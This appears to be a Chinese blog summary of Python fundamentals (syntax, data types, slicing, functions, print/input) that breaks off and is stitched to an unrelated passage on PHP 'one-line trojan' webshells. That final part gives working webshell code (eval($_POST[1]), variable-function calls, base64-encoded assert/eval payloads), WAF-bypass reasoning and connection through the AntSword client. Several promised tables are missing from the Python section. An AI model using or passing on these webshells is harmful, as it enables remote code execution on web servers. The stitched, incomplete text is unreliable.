摘要:
本文主要介紹一些平時經常會用到的python基礎知識點,用於加深印象,也算是對於學習這門語言的一個總結與回顧。python的詳細語法介紹可以查看官方編程手冊,也有一些在線網站對python語法進行了比較全面的介紹,比如菜鳥教程:
python3 教程|菜鳥教程
為了方便聚焦知識點,本文涉及的操作實例並不多,想學好一門語言關鍵還得自己多編碼多實踐。
python語言介紹
python是一門解釋型語言,python的設計目標:
①一門簡單直觀的語言並與主要競爭者一樣強大
②開源,以便任何人都可以為它做貢獻
③代碼像純英語那樣容易理解
④適用於短期開發的日常任務
設計哲學是:
優雅
明確
簡單
標識符
第一個字符必須是字母表中字母或下劃線 。
標識符的其他的部分由字母、數字和下劃線組成。
標識符對大小寫敏感。
注釋
類型 語法
單行注釋 以 # 開頭,編程規范建議#後面跟一個空格
多行注釋 用一對連續的三個引號,單引號或者雙引號均可("""/’’’)
行與縮進
python與其他語言明顯的區別是沒有大括號,而是用縮進表示代碼塊。
另外,每行語句不需要以分號結束。
多行語句
如果語句很長,可以使用反斜槓()來實現多行語句
說明:在 [], {}, 或 () 中的多行語句不需要使用反斜槓
算術運算符
if else語句
if 和 else用於對條件進行判斷並進行處理,語法如下:
if 要判斷的條件:
條件成立時要做的事情
…
else:
條件不成立時要做的事情
邏輯運算符
對於同時判斷多個條件的情況可以用邏輯運算符,有如下三種:
符號 說明 語法
and 與,兩個都成立才返回True 條件1 and 條件2
or 或,兩個只要有一個滿足就返回True 條件1 or 條件2
not 非,對條件取反 not 條件
elif 語句
elif語句用於有多個條件進行判斷的場景,語法如下:
if 條件1:
條件1滿足時執行的代碼
elif 條件2:
條件2滿足時執行的代碼
elif 條件3:
條件3滿足時執行的代碼
else:
以上都不滿足時執行的代碼
python數據類型介紹
列表
列表(list)是python中使用最頻繁的數據類型,類似其他語言的數組
列表的符號是中括號[],初始化一個列表語法如下:
program_list = ["c++", "java", "python", "php"]
元組
元組(tuple)與列表類似,區別是元組的數據不能修改,元組的符號是小括號(),初始化一個元組的語法如下:
program_tuple = ("c++", "java", "python", "php")
元組主要用於函數的參數和返回值,格式化字符串,以及保護列表數據,由於元組的數據無法修改,因此提供的方法也比較少:
元組在python中還可以用於交換兩個變量的值:
a = 10
b = 9
a, b = (b, a)
字典
字典(dict)通常用於描述一個物體的相關信息,使用鍵值對存儲數據,鍵必須唯一,由於要使用hash算法,只有不可變類型才能用作鍵,字典的符號是大括號{},初始化一個字典的語法如下:
human_dic = {
"name": "zhangsan",
"age": 26,
"height": 1.75,
"weight": 66}
字典的常用操作函數如下:
字符串
字符串(str)的使用也非常廣泛,可以使用引號('或")來創建字符串,初始化一個字符串的語法如下:
testStr = "Wasting time is robbing oneself"
python對於str提供了很多實用的方法,比較常用的有以下這些:
對字符串進行判斷的方法:
對字符串進行修改(包括格式化,大小寫轉換):
字符串的查找和替換:
運算符
高級數據類型同樣支持以下常見的運算符:
切片
切片使用索引值可以方便地截取容器中一定范圍的數據,適用於列表,元組,字符串。
切片語法如下:
item[N:M:S]
其中N表示要截取的開始位置,M表示結束位置,S表示step也就是步長,默認是1,截取的時候[N:M]是個半閉合區間,等效於數學上[N,M)取值范圍,取N不取M, N和M都可以省略。python中,-1可以表示最後一個元素,字符串利用切片完成翻轉的代碼如下:
>>> test_str = "Hello World"
>>> print(test_str[::-1])
python函數語法
在python中定義一個函數需要使用def關鍵字,相比其他語言,返回值不需要聲明,定義一個函數的語法如下:
def print_hello():
print("Hello, World!")
缺省參數
除了常見的必須參數外,python支持缺省參數,即為參數指定一個默認值,可以不傳入這個參數,代碼例子如下:
def print_human(name, age = 23):
print("body info: name is %s, age is %s" % (name, age) )
print_human("wangwu")
print_human("lisi", 25)
多值參數
如果函數處理的參數的個數不確定,就可以用多值參數:
參數名前面增加一個*可以接收元組
參數名前面增加兩個*可以接收字典
使用了這兩個多值參數的代碼例子如下:
def print_info(*args, **kwargs):
print(args)
print(kwargs)
program_list = ["c++", "java", "python", "php"]
human_dic = {
"name": "zhangsan", "age": 26, "height": 1.75, "weight": 66}
print_info(*program_list, **human_dic)
返回多個值
python中可以利用元組返回多個值,多個返回值的代碼如下:
def measure_rect():
width = 12
height = 6
return width, height
w, h = measure_rect()
print("width is %d, height is %d" % (w, h))
python常用函數
print輸出函數
python使用print函數將信息輸出到控制台,輸出數據時經常會用到格式化操作符,不同的格式化字符串含義如下表:
語法格式如下:
print("格式化字符串" % 變量1)
print("格式化字符串" % (變量1, 變量2...))
print函數默認會自動在內容末尾增加換行,如果不希望換行,可以用end參數指定需要輸出的內容
語法格式如下:
print("Hello word!", end="")
input輸入函數
使用input函數從鍵盤等待用戶的輸入,默認都是一個字符串
語法格式如下:
字符串變量 = input("提示信息:")
類型轉換函數
常見的類型轉換函數如下:
當我們要去繞過一個wef的時候,我們寫一個不含數字字母的代碼在正常情況下這就顯得太長了,會被檢測出來,所以我們要用去減少長度,這時候就可以用一句話木馬,一句話木馬的原理即可以執行傳遞上來變量的內容,變量名稱即“一句話木馬,例如
<?php
eval($_POST[1]);
?>
我們打開小皮面板後,打開阿帕奇,然後打開中國蟻劍進行連接
接下來我們加入一點代碼:
<?php
$_POST[1]($_POST[2]);
?>
eval其實並不能算是‘函數’,而是PHP自身的語言結構,如果需要用‘可變’的方式調用,需要自己構造,類似這樣子的:
<?php
function eval_1($str)
{
eval($str);
}
$a='eval_1';
$a('phpinfo()');
?>
接下來我將編碼方式改成了base64發現也可以成功連接
最後總結:
這是因為我們的eval函數中參數是字符,assert函數中參數為表達式 (或者為函數),比如
assert(eval(‘echo 1;’));//類似這樣
1=assert
2=eval(base64_decode())
$_POST['1']($_POST[2])
assert(eval(base64_decode))
我們多了一個eval函數,實質上我們是在執行assert(eval()),所以是可以執行的。
assert(‘adsadasdsadasdasdsa’) 裡面只有字符串
assert(eval(base64dddddd)); 裡面有eval函數
eval函數中參數是字符,如:
eval('echo 1;');
assert函數中參數為表達式 (或者為函數),如:
assert(phpinfo())